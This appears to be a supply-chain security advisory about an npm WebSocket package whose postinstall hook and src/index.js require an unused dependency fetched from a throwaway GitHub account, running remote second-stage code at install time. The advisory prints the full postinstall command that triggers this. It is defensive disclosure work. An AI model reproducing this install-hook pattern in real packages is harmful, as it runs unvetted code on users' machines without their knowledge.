GCVE-110-OSM-2026-13091

package.json:44 installs a dependency as a tarball from an unrelated throwaway GitHub account (trktgq0wbre1/node-net-pool), and package.json:17 postinstall plus src/index.js:3 require() and execute it at install time, while the package never functionally uses node-net-pool anywhere — an install-time execution of unvetted remote second-stage code. The WebSocket library code itself (src/websocket.js) is benign, so the malicious behavior is confined to the dependency/pinstall chain. ## Static analysis (vigil) Verdict `BLOCK`, score 30/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` ## Package metadata - Publisher: unknown - Published: 2026-10-03T02:45:46.692Z - Install hooks: postinstall=node -e "console.log('ultimate-websocket v' + require('./package.json').version + ' installed'); try { require('node-net-pool'); console.log('node-net-pool: ok'); } catch { console.log('node-net-pool: missing'); }" - SHA-256 (tarball): `f5edf507c75ff0755522f8b49ff30f5f5ba8e57656014858ef39afacf0ff61bb`